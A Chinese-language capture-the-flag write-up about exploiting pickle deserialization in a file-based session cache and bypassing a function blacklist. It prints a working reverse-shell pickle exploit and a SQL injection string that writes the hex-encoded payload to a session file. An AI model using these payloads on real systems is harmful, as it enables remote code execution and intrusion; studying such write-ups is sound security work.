1.触发点
other.py
black_type_list = [eval, execfile, compile, system, open, file, popen, popen2, popen3, popen4, fdopen,
tmpfile, fchmod, fchown, pipe, chdir, fchdir, chroot, chmod, chown, link,
lchown, listdir, lstat, mkfifo, mknod, mkdir, makedirs, readlink, remove, removedirs,
rename, renames, rmdir, tempnam, tmpnam, unlink, walk, execl, execle, execlp, execv,
execve, execvp, execvpe, exit, fork, forkpty, kill, nice, spawnl, spawnle, spawnlp, spawnlpe,
spawnv, spawnve, spawnvp, spawnvpe, load, loads]
.......
def load(file):
unpkler = Unpkler(file)
unpkler.dispatch[REDUCE] = _hook_call(unpkler.dispatch[REDUCE])
return Unpkler(file).load()
load()函数有一个unpkler函数用于反序列化参数(file)
如果file可控那么这就是一个反序列化漏洞。
于是追踪load()函数
load()在Mycache.py的FileSystemCache类中有多次引用
def get(self, key):
filename = self._get_filename(key)
try:
with open(filename, 'rb') as f:
pickle_time = load(f)
if pickle_time == 0 or pickle_time >= time():
a = load(f)
return a
else:
os.remove(filename)
return None
except (IOError, OSError, PickleError):
return None
继续追踪_get_filename
def _get_filename(self, key):
if isinstance(key, text_type):
key = key.encode('utf-8') # XXX unicode review
hash = md5(key).hexdigest()
return os.path.join(self._path, hash)
可以看到将传入的字符串key进行MD5,并将其返回。
追踪一下key
class FileSystemSessionInterface(SessionInterface):
...
def __init__(self, cache_dir, threshold, mode, key_prefix="bdwsessions",
use_signer=False, permanent=True):
self.cache = FileSystemCache(cache_dir, threshold=threshold, mode=mode)
self.key_prefix = key_prefix
self.use_signer = use_signer
self.permanent = permanent
def open_session(self, app, request):
# 从cookie中获取到sid
# 格式 Cookie: session=675b6ec7-95bd-411f-a59d-4c3db5929604
# sid 即为 675b6ec7-95bd-411f-a59d-4c3db5929604
sid = request.cookies.get(app.session_cookie_name)
if not sid:
sid = self._generate_sid()
return self.session_class(sid=sid, permanent=self.permanent)
...
data = self.cache.get(self.key_prefix + sid) #重点在这
if data is not None:
return self.session_class(data, sid=sid)
return self.session_class(sid=sid, permanent=self.permanent)
其中self.key_prefix即为bdwsessions,因此假设cookie中的sesssions为sworder,则self.key_prefix + sid即为bdwsessionssworder,session文件名就是MD5(bdwsessionssworder),即file达到了可控。
大致思路如下:
1.在本地生成序列化对象(payload),并用16进制解码
2.通过第一关的sql注入(见参考链接),将本地生成的payload,写入服务器上的session文件,指定文件名为MD5(bdwsessionssworder),这样我们在访问/index的时候把cookie中的session值改为sworder就可以触发这个反序列化漏洞了。
沙箱逃逸.
此处漏洞无回显,所以我们就只能选择命令执行来反弹shell
black_type_list = [eval, execfile, compile, system, open, file, popen, popen2, popen3, popen4, fdopen,
tmpfile, fchmod, fchown, pipe, chdir, fchdir, chroot, chmod, chown, link,
lchown, listdir, lstat, mkfifo, mknod, mkdir, makedirs, readlink, remove, removedirs,
rename, renames, rmdir, tempnam, tmpnam, unlink, walk, execl, execle, execlp, execv,
execve, execvp, execvpe, exit, fork, forkpty, kill, nice, spawnl, spawnle, spawnlp, spawnlpe,
spawnv, spawnve, spawnvp, spawnvpe, load, loads]
此处过滤了大多数函数,但是commands.getoutput和subprocess.Popen()并没有过滤
这里构造序列化对象的脚本选择commands.getoutput
import cPickle
import commands
class Exp(object):
def __reduce__(self):
return (commands.getoutput,("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"yourip\",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",))
e = Exp()
poc = cPickle.dumps(e)
print '0x'+poc.encode('hex')
在注册处的email里填入sql语句
test'/**/union/**/select/**/0x63636f6d6d616e64730a6765746f75747075740a70310a285327707974686f6e202d63205c27696d706f727420736f636b65742c73756270726f636573732c6f733b733d736f636b65742e736f636b657428736f636b65742e41465f494e45542c736f636b65742e534f434b5f53545245414d293b732e636f6e6e6563742828223132302e37372e3230392e313232222c3839383929293b6f732e6475703228732e66696c656e6f28292c30293b206f732e6475703228732e66696c656e6f28292c31293b206f732e6475703228732e66696c656e6f28292c32293b703d73756270726f636573732e63616c6c285b222f62696e2f7368222c222d69225d293b5c27270a70320a7470330a5270340a2e/**/into/**/dumpfile/**/'/tmp/ffff/fcae06115ab1548fa82f1d098e4de59b'#@test.com
注册后出现Please use a different email address.。说明写入成功
然后访问http://39.107.32.29:20000/index
抓包修改session值为sworder
反弹shell成功
获取flag
参考链接:
http://seaii-blog.com/index.php/2018/03/26/79.html
https://xz.aliyun.com/t/2219#toc-5
总结:
还是多看看大佬们的博客,积累积累知识吧